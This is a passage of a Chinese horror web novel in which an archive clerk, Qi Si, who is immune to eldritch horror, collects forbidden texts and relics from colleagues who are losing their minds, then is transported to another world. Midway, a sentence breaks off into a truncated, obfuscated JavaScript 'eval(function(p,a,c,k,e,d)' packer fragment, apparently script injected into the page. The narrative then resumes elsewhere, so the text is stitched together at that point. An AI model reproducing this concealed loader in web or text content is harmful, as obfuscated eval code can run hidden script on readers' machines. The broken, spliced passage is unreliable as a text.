各种各样的东西,带着各种各样的情绪和重量,被一股脑儿堆到他面前。 他没有拒绝。 不是因为他有多热心,而是—— 这些东西,归档表上写着他的名字。 他只是照表办事。 那本失踪调查员的随身记录,封皮已经磨得发白,角落翘起,里面的纸张被翻得起了毛边。 他翻开,第一页上写着一行歪歪扭扭的字: “如果你看到这里,说明你还没疯。” 下面,是密密麻麻的记录:日期、地点、目击者陈述、梦境内容、出现的符号、听到的低语。 每一页的边缘,都有一些潦草的批注:“不对”“重复”“结构相似”“疑似同源”。 这些东西,对任何一个还保持理智的人来说,都是一场折磨。 因为它们像是一面镜子,让你看见别人是怎么一步步被拖下去的。 齐司翻了几页,觉得这本笔记本的最大问题是—— 字太丑。 他在“个人遗物接收登记表”上写下“已接收”,在“处理意见”栏里填上: “暂存,待家属认领。” 然后,把笔记本放进一个透明的资料袋里,贴上标签,塞进柜子。 那些托付给他的密码、线索、遗物,在别人眼里,是“最后的希望”“唯一的出口”。 在他这里,只是“待处理事项”。 他没有顺着那些线索去查,也没有试图把那些密码拼成一幅更大的图。 他只是把它们一一登记、分类、上架。 可就是这种机械的、没有任何“主观意图”的处理方式,让所有东西都在他这里“聚合”。 所有的线索、所有的遗物、所有的密码,像是被一只看不见的手,从四面八方推向他,最后在他身边堆成了一座看不见的山。 别人看不见那座山,只能看见—— 他坐在山顶,神色平静,眼神空白。 于是,他们给他起了一个名字: “唯一能长期面对真相的人。” 只有他自己知道—— 他根本“看不见”那座山。 对他来说,那只是更多的文件、更多的表格、更多的柜子。 —— 某天傍晚,系统在他视野的角落里弹出一行小字: 【当前世界任务完成度:100%。】 【评估:合格。】 【即将离开本世界,准备进入下一世界。】 【倒计时:10,9,8……】 7,6,5…… 齐司抬手,把那行倒计时挡在视线边缘,像挡住一条弹出的广告。 “下班时间还没到。”他在心里说。 系统的数字在那一瞬间像是被按了暂停键,灰了一下,重新亮起。 【检测到宿主仍在执行本世界日常流程。】 【延迟传送。】 【当前世界停留时间:不定。】 小字自动缩到更角落里,变成一个几乎看不见的灰点。 办公室的灯管嗡嗡作响,天花板上的风扇转得很慢,像一只被麻醉的巨大昆虫在空中打圈。 齐司低头,继续对着屏幕,把当天剩下的三份报告模板填完。 —— 那之后的几天,事情开始变得“更忙”。 不是工作变多,而是—— 来找他的人变多了。 最先出事的是对面隔间的女同事,姓周,做档案数字化的,平时话不多,戴一副很厚的眼镜,打字时总会下意识地咬下唇。 那天傍晚,办公室只剩下他们两个人。 窗外的天色被厚云压得很低,玻璃上反着室内惨白的灯光,像一面蒙着灰的镜子。 打印机在角落里断断续续地吐纸,空调的出风口滴下一点水,砸在地毯上,慢慢晕开一个深色的圆。 “齐司。”周同事突然叫他。 她的声音有点发干,像是嗓子里塞了纸。 齐司“嗯”了一声,没有抬头,手指还在键盘上敲着固定的节奏。 “我最近……有点睡不好。”她说,“总做梦。” 键盘声停了一下,又继续。 “梦见什么?”齐司随口问,语气和平时问“你吃了吗”差不多。 “梦见……楼下的档案库。”她盯着屏幕,眼神却有点飘,“一层一层往下,灯都坏了,只有最底下有光。” 她的手在桌面上无意识地抓着,指甲刮过木板,发出细碎的“咯吱”声。 “然后呢。”齐司问。 “然后我就下去了。”她的声音越来越轻,“每一层都有人在说话,可是灯是灭的,我看不见他们的脸,只能看见他们的嘴在动。” 她的眼睛在镜片后面微微颤抖,瞳孔像被什么东西拉扯着,往某个看不见的方向偏。 “他们在说什么?”齐司问。 “他们在说——”她的嘴唇动了动,像是要吐出什么粘稠的东西,最后却只挤出一句很普通的话,“密码。” 她突然笑了一下,笑容很薄,“每一层一个密码,他们让我记住,说是‘真正的目录’。” 齐司“哦”了一声,手指在键盘上停下来,伸手去拿桌上的水杯。 杯子里水已经凉透了,杯壁上凝着一圈水珠。 “你记住了吗。”他问。 “记住了。”她盯着自己的手指,指节发白,“我不想记住,可是他们一直在说,一直在说……我耳朵里全是那些数字。” 她抬起头,看着他,眼睛里有一种极度清醒又极度疲惫的光。 “我知道你不会乱说。”她说,“所以我想,把这些东西……放在你这儿。” 她从抽屉里拿出一个厚厚的牛皮纸信封,边角已经被她捏得有点卷。 信封上没有任何标记,只在封口处用红色的线缠了三圈,打了一个很紧的结。 “里面是我这几天梦到的所有‘密码’。”她说,“还有我在档案库里看到的一些……不该存在的目录。” 她说到“目录”两个字的时候,嗓音突然发紧,像是被什么东西勒了一下。 “你帮我收着。”她把信封推过来,指尖有点发抖,“如果哪天我……不在了,或者我开始说一些你听不懂的话,你就把这个交给上面的人。” “上面的人?”齐司重复。 10. 第 10 章 “调查局、研究院、谁都行。”她低声说,“他们迟早会来找你的。” 齐司看了她一眼。 她的眼白里布满细小的血丝,眼角有一块淡淡的青黑,像是长期睡眠不足留下的阴影。 “你可以自己交。”他说。 “我可能来不及。”她笑了一下,笑容像一张快要撕裂的纸,“你知道的,这种梦……不会停的。” 她站起来,动作有点僵硬,像是关节里塞了沙子。 “谢谢。”她说。 然后她走向门口,推开门,走廊里的灯忽明忽暗,像是在呼吸。 门在她身后关上。 第二天,她没来上班。 第三天,行政发了一封群邮件,说周同事“因个人原因请长假”,工位上的东西会暂时保留。 她的座位一直空着,椅子上挂着她那件薄薄的灰色开衫,袖口有点磨毛。 齐司把那只牛皮纸信封放进自己桌子最里面的抽屉,压在一堆文件下面。 抽屉里已经有好几个类似的信封了,大小不一,封口的方式也不一样,有的是红线,有的是黑蜡,有的是用订书机胡乱订了几下。 每一个信封,都对应着一个“请长假”的人。 —— 第二个出事的是档案室的老刘。 老刘在局里干了二十多年,头发花白,眼睛却还很亮,平时喜欢在茶杯里泡枸杞,嘴里叼着一根没点燃的烟。 那天中午,档案室的门半开着,里面的灯没开,只有走廊的光斜斜地照进来,在地上切出一块灰白的长方形。 齐司拿着一摞要归档的表格,推门进去。 “老刘。”他叫了一声。 没有人回答。 档案室里一排排金属柜子像整齐站好的士兵,柜门上贴着编号,空气里有一种纸张和铁锈混合的味道。 他往里走了几步,鞋底踩在地上的灰尘上,发出很轻的“沙沙”声。 最里面那一排柜子后面,传来一点细微的摩擦声。 像是有什么东西在墙上轻轻刮着。 齐司绕过去,看到老刘背对着他,整个人贴在墙上,额头抵着冰冷的水泥,双手摊开,十指张得很开。 墙上原本干净的白漆上,此刻被画满了东西。 黑色的墨迹从老刘的指尖延伸出去,像一根根细线,在墙面上交织、缠绕,构成一团密密麻麻的图案。 那不是字,也不是画,更像是某种“结构”的投影。 线条有的粗有的细,有的像是螺旋,有的像是断裂的骨头,有的像是某种未知生物的内脏被摊开。 在某些交叉点上,墨迹堆得很厚,几乎要从墙面上鼓起来。 老刘的嘴里在喃喃自语,声音低得几乎听不见。 “……不在目录里……不在目录里……它们在缝隙里……” 他的声音像是被什么东西咬住,只能从牙缝里挤出几个音节。 齐司站在他身后,静静看了几秒。 那些黑线在他眼里,只是“乱七八糟的涂鸦”。 没有任何“意义”的部分被他的脑子自动跳过,只剩下“有人在墙上乱画”的事实。 “老刘。”他喊了一声。 老刘的肩膀猛地一抖,像是被电了一下。 他缓慢地回头,眼睛里有一层浑浊的水光,瞳孔缩得很小,像两颗被冻住的黑点。 看到齐司,他愣了一下,随即露出一种奇怪的表情——既像是松了一口气,又像是看见了什么更可怕的东西。 “你……你也来了。”他喉咙里发出干涩的笑声,“果然……到最后,还是你。” “我只是来送表。”齐司说,把手里的文件举了举。 老刘盯着他看了很久。 那种目光像是在确认什么,又像是在试图从他脸上看出某种“裂缝”。 “他们都看不见。”老刘低声说,“只有你……你能站在这里,还能说‘只是来送表’。” 他突然伸手,从自己的口袋里掏出一串钥匙。 那串钥匙很重,叮当一声落在档案柜上,金属撞击的声音在安静的房间里显得格外清晰。 “主库的总钥匙。”老刘说,“还有地下二层的。” “给我干什么。”齐司问。 “你是唯一一个,能在那下面待超过十五分钟的人。”老刘盯着他,“你知道吗?上次你去找那份丢失的卷宗,你在下面待了四十分钟。” “我在找柜子。”齐司说,“路不熟。” “别人连十分钟都撑不住。”老刘的声音突然有点发颤,“他们一到那一层,就开始听见东西,看到东西……只有你,回来以后,还能抱怨‘标号不清楚’。” 他把钥匙往齐司手里一塞,动作很急,像是要把一块烫手的铁扔出去。 “从今天起,主库归你管。”他说,“我不行了。” “你可以申请调岗。”齐司说。 “来不及了。”老刘笑了一下,笑容里带着一种近乎解脱的疯狂,“它们已经从目录的缝隙里钻出来了。” 他抬起手,指着自己刚刚画满的那面墙。 “你看见了吗?”他问。 齐司顺着他的手看过去。 墙上是一团乱线,墨迹还在往下缓慢地流,像是被墙面吸进去。 “看见了。”齐司说,“你把墙画脏了。” 老刘愣了一下,随即发出一声短促的笑。 那笑声里有一种彻底的绝望。 “对。”他说,“对,你就是这样。” 他后退一步,整个人离开了墙面。 墙上的那些线条在这一瞬间像是失去了支撑,原本隐约有某种“结构”的部分突然塌陷,变成一滩毫无意义的墨迹。 如果刚才有谁站在这里,或许能在那团线条里看到某种“形状”。 但在齐司的视角里,那只是“墨水滴多了”。 老刘看着那面墙,嘴唇动了动,像是想说什么,最后只吐出一句: “它们……不敢看你。” 他说完这句话,整个人像是被抽空了力气,扶着档案柜,慢慢往外走。 那天之后,老刘也没再来。 档案室的门上贴了一张新的通知:档案管理人变更,签名处写着齐司的名字。 —— 钥匙串很重,挂在他腰间,走路时会发出清脆的碰撞声。 他每天照旧按时上下班,早上打卡,晚上准点关电脑。 唯一的变化是—— 来找他的人越来越多。 有调查局的人,穿着深色风衣,胸前挂着证件,眼睛里带着长期熬夜的红血丝。 有研究院的专家,戴着口罩和手套,手里提着装满试剂的银色箱子,身上带着消毒水的味道。 还有一些看不出身份的人,衣着普通,眼神却太过清醒,像是一直在某个看不见的地方“对焦”。 他们在走廊里拦住他,或者在档案室门口等他。 “齐先生,我们需要调阅一份特殊档案。” “齐司,麻烦你签收一下这批‘限制级’资料。” “齐同志,上面说,你可以接触更高权限的内容。” “你是目前唯一一个,通过所有‘暴露测试’的人。” 他们说话时的语气里,带着一种小心翼翼的尊重,甚至夹杂着一点不自觉的依赖。 齐司只是点头,接过他们递来的文件、箱子、U盘。 所有东西最后都被放进档案库最里面的一间小房间。 那间房间原本只是用来堆放废旧设备的,墙皮脱落,天花板上有水渍,灯管闪烁不定。 现在,门上多了一块新的金属牌子,上面刻着几个字: 【高危禁忌资料临时保管室】 钥匙挂在齐司腰间。 —— 禁忌文本开始源源不断地往这里送。 有用黑色墨水写满的手稿,纸张发黄,边缘卷曲,墨迹在某些地方堆得太厚,摸上去有轻微的凸起。 有从地下挖出来的石板,上面刻着扭曲的符号,线条像是被某种不稳定的手刻出来,深浅不一。 有从某个废弃教堂墙壁上剥下来的涂鸦,颜料已经干裂,颜色却还带着一种诡异的鲜艳。 还有一些被密封在透明容器里的东西,看上去像是普通的纸片、布条、甚至是指甲大小的碎骨。 每一件东西送来时,都附着一份厚厚的报告。 报告里写着: 【接触者A:阅读三分钟后出现幻听,报告听到“低语”,内容为……】 【接触者B:凝视石板十五秒后出现视觉扭曲,报告看到“蠕动的阴影”,描述为……】 【接触者C:接触涂鸦后出现皮肤灼痛感,随后在手臂上出现与涂鸦相同的图案……】 每一份报告的最后,都有一句相同的话: 【建议:由“稳定接触者”进行长期保管。】 “稳定接触者”三个字后面,括号里写着他的名字。 齐司把这些东西一件件登记,编号,归档。 他戴着一次性手套,动作熟练,像在整理普通的行政文件。 有时候,研究院的人会要求他“配合测试”。 “齐先生,请你阅读这一段文字,持续时间五分钟。” “请你凝视这块石板的中心区域,不要移开视线。” “请你在这张涂鸦上,用手指沿着线条描一遍。” 他照做。 那些文字在他眼里,只是“字形很丑”的一堆符号,语法混乱,逻辑不通。 他读完,脑子里没有任何“额外的声音”。 石板上的刻痕在他视野里,是“雕刻技术很差”的痕迹,线条断断续续,没有任何“图像”跳出来。 涂鸦的线条在他指尖下粗糙、干裂,偶尔有颜料的粉末掉下来,弄脏了他的手套。 “你有什么感觉?”研究员问。 “有点脏。”齐司说,“下次能不能给我新的手套。” 研究员沉默了几秒,低头在记录表上写了很长一段话。 —— 他们对他的测试越来越频繁。 有一次,他被叫到一个专门的“暴露室”。 房间四面墙上都贴满了各种涂鸦、符号、照片,天花板上悬着一盏昏黄的灯,光线像是被什么东西吸走了一部分,照在地上显得很稀薄。 房间中央放着一把椅子,椅子对面是一面单向玻璃。 玻璃后面隐约有人影晃动。 “齐先生,请你坐下。”扩音器里传来声音,“接下来十五分钟内,请你尽量环视房间,注意墙上的所有细节。” 齐司坐下。 他看了一圈。 墙上的东西很多,密密麻麻。 有些像是解剖图,有些像是星图,有些像是某种未知建筑的剖面。 在某些角落里,线条纠缠在一起,隐约有“眼睛”、“触手”、“嘴”的轮廓。 但在他的大脑里,这些东西被自动归类为“复杂的图案”。 所有可能引发“意义”的部分,被一个看不见的过滤器无情地剪掉。 他只觉得有点乱,有点花。 “你现在有什么感觉?”扩音器问。 “有点晕。”齐司说,“图太多了。” “有没有听到什么声音?” “空调有点响。” “有没有闻到什么气味?” “消毒水。” “有没有觉得,自己的思维被什么东西‘牵引’?” “我在想,什么时候能下班。” 玻璃后面的人影明显停顿了一下。 十五分钟结束,他被放出来。 走廊里,几个穿白大褂的人围在一张移动推车旁,推车上放着一台便携式脑电图设备,屏幕上是一条条起伏的曲线。 “他的脑波在暴露期间几乎没有变化。”一个人压低声音说,“连轻微的应激反应都没有。” “这不可能。”另一个人说,“就算是最冷静的调查员,在这种环境下也会有波动。” “他不是冷静。”第三个人说,“是……‘缺失’。” 他们的目光不约而同地落在齐司身上。 那种眼神,像是在看一件稀有标本,又像是在看一扇通往某个未知空间的门。 “齐先生。”其中一个人走上前,“从今天起,你的权限会提升一个等级。” 他递过来一张新的卡片。 卡片的颜色比之前那张更深,边缘有一圈银色的线,正面印着一个简单的标志——一个被分成三层的圆。 “你现在可以调阅‘黑级’资料。”那人说,“包括部分……源头记录。” “源头?”齐司问。 “就是……那些东西最初出现的地方。”那人顿了顿,“你是目前唯一一个,被评估为‘可以长期面对真相’的人。” 齐司接过卡片,看了一眼。 卡片背面印着一串很长的数字和一个二维码。 “这串数字是你的个人密钥。”那人说,“任何需要最高级别授权的资料,都会自动向你的账号汇聚。” “自动?”齐司重复。 “是的。”那人点头,“系统会根据‘稳定性’和‘暴露耐受度’来分配保管人。目前,你是唯一一个达到标准的人。” 齐司“哦”了一声,把卡片塞进钱包。 —— 从那之后,他的电脑桌面开始变得越来越“花”。 每天早上打开电脑,邮箱里都会多出几十封新邮件。 发件人有调查局的,有研究院的,有一些看不出来源的“匿名账号”。 邮件的标题千奇百怪: 【关于“深井事件”的最新记录】 【某沿海小镇集体失踪案——目击者证词】 【地下教派祭祀文书(部分译本)】 【来自“外侧”的通信尝试】 【高危梦境污染样本】 每一封邮件的末尾,都有一句统一的备注: 【仅限“唯一能长期面对真相的人”查阅。】 齐司点开。 长篇的文字、模糊的照片、扭曲的符号、被红线圈出的重点段落,一股脑地涌到屏幕上。 有些照片里,海面在夜色下泛着不正常的光,浪花里隐约有某种巨大的阴影翻动。 有些记录里,目击者的自述从某一段开始变得语无伦次,句子里夹杂着奇怪的音节,像是另一种语言强行挤进来。 有些扫描件上,纸张被烧焦了一半,剩下的部分写满了密密麻麻的字,字迹在某些地方突然变形,像是写字的人手被什么东西扭了一下。 齐司一封封往下翻。 他的眼睛在屏幕上移动,脑子里的过滤器在后台默默工作。 所有“非必要信息”——那些会让人联想到“巨大”、“无形”、“永恒”、“不可名状”的部分——被自动剪掉。 剩下的,是“某地发生异常”、“有人失踪”、“有组织活动”、“需要备案”。 他在每一封邮件后面,按流程点选“已阅”、“归档”、“转发相关部门”。 偶尔有需要他“签字确认”的,他就把名字打上去。 对他来说,这些东西和日常工作里的“项目进度表”、“预算审批表”没有本质区别。 —— 与此同时,一些“不在系统里的东西”,也开始主动找上门。 有一天晚上,他下班回家。 走廊的灯坏了一盏,光线断成一截一截,地上的影子被切成几块。 他拎着一袋菜,钥匙插进自家门锁,拧了一下。 身后传来轻微的脚步声。 “齐司。”一个声音在他背后响起。 那声音有点沙哑,像是长期在潮湿的地方说话,声带上长了苔。 他回头。 走廊尽头站着一个人。 那人穿着一件普通的灰色风衣,帽檐压得很低,看不清脸。 “你是谁。”齐司问。 “我们见过。”那人说,“在档案库的楼梯间。” 齐司想了想。 他每天在楼梯间遇到的人很多,送快递的、打扫卫生的、抽烟的同事、搬箱子的临时工。 “哦。”他说,“有什么事?” 那人沉默了一会儿,缓缓抬起头。 帽檐下露出一张脸。 那是一张“被抹掉了一半”的脸。 左半边很正常,眼睛、鼻子、嘴巴,五官清晰。 右半边却像是被什么东西从现实里“削掉”了一层,只剩下一片模糊的灰影,轮廓不断轻微抖动,像是信号不好的电视画面。 在那片灰影的边缘,有一些细小的触须一样的东西时隐时现,像是在努力伸出来,又被什么力量按回去。 “你看见了吗?”那人问。 他的声音里带着一种压抑的兴奋,像是在期待一个答案。 齐司看着他。 在他的视角里,那张脸只是“光线不好”的结果。 走廊的灯坏了一盏,阴影刚好把那半边脸遮住,偶尔有路过的车灯从窗外扫过,影子就会抖一下。 “你脸上有影子。”齐司说,“灯坏了。” 那人愣了一下。 那种愣住,不是被否定后的失望,而是—— 一种“设想被打破”的茫然。 “你……什么都没看到?”他喃喃。 “看到你。”齐司说,“还有你站在我家门口。” 那人盯着他看了很久。 那种目光里,原本潜伏着的某种东西——也许是试探,也许是恶意,也许是邀请——在这一刻慢慢收缩,像是被冷水浇灭。 “原来如此。”他低声说,“难怪它们……绕开你。” 他后退一步,站回走廊尽头的阴影里。 “你不是‘它们’的一部分。”他说,“你是……一个‘空洞’。” 他笑了一下,笑声里带着一点近乎敬畏的意味。 “放心。”他说,“我们不会碰你。” 他说完这句话,整个人像是被走廊的阴影吞进去一样,轮廓变得模糊,最后彻底消失。 齐司看了看那一头,又看了看手里的菜。 菜袋子里有青椒、土豆、鸡蛋,还有一小块猪肉。 他转回身,开门,进屋。 —— 夜里,他照常洗澡、做饭、吃饭、刷碗。 电视里放着某个无聊的综艺节目,观众席的笑声一阵一阵传出来,和窗外偶尔经过的车声混在一起。 他坐在沙发上,一边吃着切好的水果,一边用手机刷工作群。 群里有人在抱怨最近的“精神评估”太频繁,有人说又有同事“请长假”,有人发了一张模糊的照片,说是楼下巷子里出现了奇怪的涂鸦。 照片里,墙上画着一个圆,圆里有一只眼睛,眼睛的瞳孔是空的。 评论区里有人说“别乱拍这种东西”,有人说“快删”,有人发了一个祈祷的表情。 齐司看了一眼,觉得那只眼睛画得不太对称。 他把手机放到一边,去阳台收衣服。 夜风从楼缝里吹过来,带着一点潮湿的味道。 远处的天空被城市的灯光映成一种不自然的灰橙色,云层很低,像是压在楼顶上。 他把衣服一件件从晾衣架上取下来,叠好。 在他身后,客厅的电视突然卡了一下,画面闪烁,声音变成一串杂音。 那杂音里,隐约有某种“低语”的节奏。 像是有人在极远的地方,对着一个装满水的洞口说话,声音被水和石头一层层过滤,最后只剩下断断续续的音节。 那些音节里,夹杂着一些不属于任何已知语言的发音。 如果此刻有别的人站在这里,可能会突然停下手里的动作,转头去看电视,脸色变得苍白,眼神发直。 但齐司的耳朵,在这一刻自动屏蔽了那一段频率。 他的脑子像是有一个“噪音过滤器”,把所有“不在日常生活列表里的声音”全部归类为“背景杂音”。 他只听到—— 电视坏了。 他走回客厅,拿起遥控器,按了两下。 画面恢复正常,综艺节目里的主持人继续大笑,观众席上的灯光闪烁。 低语被彻底切断。 在某个他看不见的地方,那条试图顺着电波、信号、屏幕缝隙钻进来的“声音”,像是撞在一堵看不见的墙上,发出一声极轻的“咔嚓”。 那堵墙不是“意志”,不是“信仰”,不是任何可以被描述的“精神防御”。 那只是—— “感知缺失”。 它试图抓住的“感官接口”,在这里根本不存在。 于是,它只能绕开。 —— 类似的事情开始频繁发生。 有一次,他在档案室整理资料,突然打了个哈欠。 那是一个很普通的哈欠,眼角有一点生理性的泪水挤出来。 他伸手揉了揉眼睛。 就在他闭眼的那一瞬间,房间里的光线突然暗了一下。 金属柜子的影子在地上拉长、扭曲,像是一群被唤醒的东西,悄无声息地伸出“手”。 在那些影子的缝隙里,有某种“形状”开始浮现。 那“形状”没有固定的轮廓,只是一团不断蠕动的黑暗,在空气里微微鼓起,像是一块被水泡涨的布。 从那团黑暗里,伸出无数细小的触须,触须的末端不是吸盘,而是一只只极小的“眼睛”。 那些眼睛没有瞳孔,只有一圈圈同心圆,像是被某种几何规则强行拉伸的“视线”。 它们同时转向一个方向—— 齐司。 如果此刻有别的人在场,哪怕只是用余光扫到这一幕,理智值都会像被刀割一样往下掉。 但齐司在那一刻,正好把眼睛闭上,揉眼睛。 他的脑子在“视觉输入中断”的状态下,把这一瞬间的“异常”自动归类为“灯光闪烁”。 等他睁开眼睛时,房间已经恢复正常。 金属柜子还是原来的样子,影子乖乖地缩在脚下。 那团刚刚试图“显形”的东西,像是被什么更高层级的规则强行按回了“背景层”。 它在一个人类无法感知的维度里,发出一声愤怒又困惑的嘶鸣。 “为什么?”它在某种“语言”里咆哮,“为什么抓不到?” 没有人回答它。 它只能退回去,继续潜伏在那些“目录的缝隙”里。 —— 随着时间推移,调查局、研究院、甚至一些不在官方系统里的“秘密组织”,对齐司的态度越来越微妙。 一开始,他们只是把他当成一个“工具”——一个可以安全接触禁忌资料的“容器”。 后来,他们开始在他身上看到别的东西。 有一次,调查局的一个负责人把他叫到会议室。 会议室的窗帘拉得很严,桌上摆着一台投影仪,墙上挂着一块白板。 负责人是个四十多岁的男人,鬓角有点白,眼神锐利。 他在投影仪上切换了几张幻灯片。 每一张幻灯片上,都是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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有一次,研究院截获了一段“来自梦境”的信息。 那是一串通过某种特殊设备记录下来的“梦境波形”,被转换成了可以在屏幕上显示的图像和音频。 他们把这段东西送到档案室,要求“稳定接触者”进行“被动暴露”。 “我们需要看看,它们在梦里会对你做什么。”研究员说。 齐司被安排在一个安静的房间里,躺在一张简易的床上,头上贴着几个电极。 墙上的屏幕开始播放那段“梦境”。 一开始,画面是一片灰白的雾。 雾气在屏幕上翻滚,像是被看不见的风搅动。 逐渐地,雾里浮现出一些模糊的轮廓——高耸的建筑、扭曲的地平线、倒挂的山脉、向上流淌的河水。 在那些不符合任何物理规则的景象中,有某种“存在”在缓慢移动。 它没有固定的形状,只是一团不断变化的“结构”,时而像城市,时而像森林,时而像一片密密麻麻的眼睛。 音频里传来低沉的嗡鸣声,频率不断变化,夹杂着一些类似人声的东西。 如果此刻有普通人躺在这里,哪怕只是听到这段声音,都会在几秒钟内开始出汗、心跳加速、呼吸急促,脑海里涌出大量不属于自己的画面。 但齐司的大脑,在这一刻做了一个非常简单的判断: “这不是我需要的信息。” 于是,它把这段声音整个归类为“背景噪音”。 屏幕上的画面在他眼里,只是一堆“特效很差”的CG。 他躺在床上,眼皮有点沉。 “有点困。”他对着天花板说。 玻璃后面的研究员们盯着监视器上的脑电图,脸色越来越怪。 “他的脑波在进入梦境暴露后,居然……趋向于‘浅睡’状态?”一个人难以置信地说。 “他把‘污染源’当成了‘催眠曲’。”另一个人说。 在屏幕里的“梦境空间”深处,那团正在缓慢移动的“存在”,似乎也注意到了什么。 它的某一部分结构微微停顿,像是在“看向”某个方向。 在某个无法被人类感知的层面上,它伸出了一条“触须”,试图沿着那条“梦境通道”探过来。 那条触须在接近齐司的“梦境接口”时,突然像是撞上了一个空无一物的洞。 不是墙,不是屏障,而是—— “缺口”。 它预期中的“感知点”不存在。 那种感觉,就像是一个人伸手去抓门把手,却发现门把手根本没装上。 那条触须在空无一物的地方晃了晃,困惑地收缩了一下。 “……”某种无法用语言表达的情绪,在那团存在里蔓延。 它尝试了第二次、第三次。 每一次,结果都一样。 它只能绕开。 在绕开的过程中,它的某些“结构”不可避免地暴露在“接口”的边缘。 如果此刻有一个真正的“调查者”在这里,哪怕只是被它擦到一点边,都能从这些暴露出来的“结构”里推断出很多东西——它的“形态”、“习性”、“弱点”。 但齐司在这一刻,已经睡着了。 他的脑电图显示出标准的浅睡模式,呼吸均匀,心跳平稳。 对他来说,这段“梦境暴露”只是一次“午休”。 —— 类似的“绕开”不断发生。 有时候,是从某个古老祭坛里渗出来的“低语”,试图顺着祭祀文本的字缝钻进他的眼睛。 有时候,是从某个深海裂缝里升起的“凝视”,试图沿着监控画面的像素点爬进他的视网膜。 有时候,是从某个疯子嘴里吐出的“名字”,试图通过空气的震动敲开他的鼓膜。 每一次,当它们接近他时,都会遇到同样的情况—— “接口缺失”。 它们像是一群试图附着在墙上的苔藓,却发现这面墙根本没有“表面”。 于是,它们只能绕开。 在绕开的过程中,它们自己的“结构”不断在他周围擦过、摩擦、扭曲。 那些结构的碎片、残影、回声,被调查局、研究院、秘密组织用各种设备捕捉下来,变成一条条“线索”。 所有线索,最终都指向一个中心—— 齐司。 —— 与此同时,那些已经被污染的人,也开始以一种奇怪的方式,向他“靠拢”。 有一次,他在食堂排队打饭。 食堂里人很多,盘子碰撞的声音、油锅里炸东西的声音、排队的人聊天的声音混在一起,空气里有一种混合了油烟和消毒水的味道。 他端着盘子,排在队伍中间。 前面的人在讨论最近的“精神评估”,后面的人在抱怨宿舍楼下的猫叫声太吵。 突然,队伍前面传来一阵骚动。 有人低声说:“是他,是他。” 一个穿着病号服的人被两个保安半扶半拽地带进食堂。 那人头发乱糟糟的,眼睛里布满血丝,嘴角有干涸的血痕。 他的手腕上戴着一条宽宽的布带,上面印着“观察对象”几个字。 “他怎么出来了?”有人小声说。 “听说是要转移。”另一个人说,“送去别的地方。” 那人被带到食堂角落的一张桌子旁,保安给他打了一盘饭,放在他面前。 他低着头,盯着盘子里的米饭,肩膀微微发抖。 突然,他抬起头,目光在食堂里扫了一圈。 那目光像是一只被困在笼子里的动物,带着一种极度敏锐的警觉。 最后,他的视线停在了—— 齐司身上。 那一瞬间,他的瞳孔猛地一缩,随即又像是被什么东西放大。 他推开面前的盘子,站起来,动作很快,差点把椅子掀翻。 保安伸手去拦他,他却突然安静下来,举起双手,示意自己“没有恶意”。 “我只是……想过去说句话。”他低声说。 保安犹豫了一下,最后还是跟在他后面,保持着一段不远不近的距离。 那人一步步走到齐司面前。 他身上的病号服有点大,袖口垂下来,遮住了一半手背。 “你就是……”他张了张嘴,像是想说一个名字,最后却什么都没说出来。 “我是齐司。”齐司说。 那人的喉结滚动了一下。 “对。”他说,“就是你。” 他盯着齐司看了几秒,眼神里有一种复杂的情绪——恐惧、敬畏、渴望、绝望,混在一起。 “它们在我脑子里。”他低声说,“一直在说话,一直在看,一直在挤。” 他说话时,太阳穴的皮肤下隐约有东西在蠕动,像是有一条细小的虫子在里面爬。 “我知道。”齐司说。 “你……没有。”那人说,“你是空的。” 他伸出手,指尖在空中停了一下,像是不敢真的碰到齐司。 “它们在所有人身上都留下了痕迹。”他喃喃,“只有你,没有。” 他突然笑了一下,笑容里带着一种近乎狂热的释然。 “所以,它们怕你。”他说,“它们不敢碰你。” 他后退一步,深深地向齐司鞠了一躬。 那动作不像是对一个人,而像是对某种“更高层存在”的敬礼。 “谢谢你。”他说。 “谢什么。”齐司问。 “谢谢你……站在那里。”那人说,“这样,我们就知道,‘它们’不是一切。” 他说完这句话,保安上前,把他带走。 他没有反抗,只是在被带出食堂前,最后看了齐司一眼。 那一眼里,有一种“把一切都托付出去”的决绝。 —— 类似的“托付”不断发生。 有人在被送进隔离病房前,把自己的笔记本塞给他。 笔记本的封皮被汗水浸湿,纸张边缘卷曲,里面写满了密密麻麻的字,有的被划掉,有的被圈起来,有的被撕掉一半。 “这里面……有它们的‘规则’。”那人说,“我记不完,你帮我记。” 有人在被宣布“调离岗位”前,把自己的电脑密码告诉他。 “我的邮箱里,有一些……你应该看的东西。”那人说,“我怕别人看了会疯。” 有人在被抬上救护车前,把一只挂坠塞进他手里。 挂坠里是一张已经褪色的照片,照片上模糊地印着某个海边的祭坛。 “如果有一天,你去那里……”那人喘着气说,“记得……不要……抬头。” 他们的眼神里,都带着一种相同的东西—— “你可以承受。” 他们把所有自己承受不了的东西,全部往他这里推。 密码、遗物、线索、禁忌文本、梦境记录、祭祀涂鸦、疯子自述、低语录音…… 所有东西,像是被一只看不见的手,从四面八方推向他,最后在他身边堆成了一座看不见的山。 别人看不见那座山,只能看见—— 他坐在山顶,神色平静,眼神空白。 于是,他们给他起了一个名字: “唯一能长期面对真相的人。” 只有他自己知道—— 他根本“看不见”那座山。 对他来说,那只是更多的文件、更多的表格、更多的柜子。 —— 某天傍晚,系统在他视野的角落里又弹出一行小字: 【当前世界任务完成度:100%。】 【评估:合格。】 【即将离开本世界,准备进入下一世界。】 【倒计时:10,9,8……】 11. 第 11 章 虚空像被什么巨兽咬开了一口。 上一世界残留的腥甜海雾、翻卷的触手幻影还没彻底散去,齐司就被系统一脚踹出了那片扭曲的深渊。 【任务完成。坐标切换中——】 耳边机械音骤然拔高,下一瞬,脚下失去了支撑。 他整个人从一片灰白的虚无中坠落,冷风迎面灌来,咸腥味被山间湿凉的泥土气息粗暴替换。视线一晃,墨绿的山峦从雾中浮出,像一排排沉默的剑背。 砰—— 齐司半个肩膀砸在一块青石上,灰尘被震得炸开,松针簌簌落下,刮过他半旧的衣襟。粗布衣上还残留着上一世界的咸渍和裂痕,落在这片山门外的石阶上,显得格外不起眼。 远处山门高耸,黑金色匾额在雾气中隐约可见,三个大字被晨光一照,像是要从木上跳下来。石阶两侧松林成排,风一吹,针叶互相摩擦,发出细密的沙沙声,像无数暗藏的刀锋。 山门内,一声暴喝炸开。 “起!” 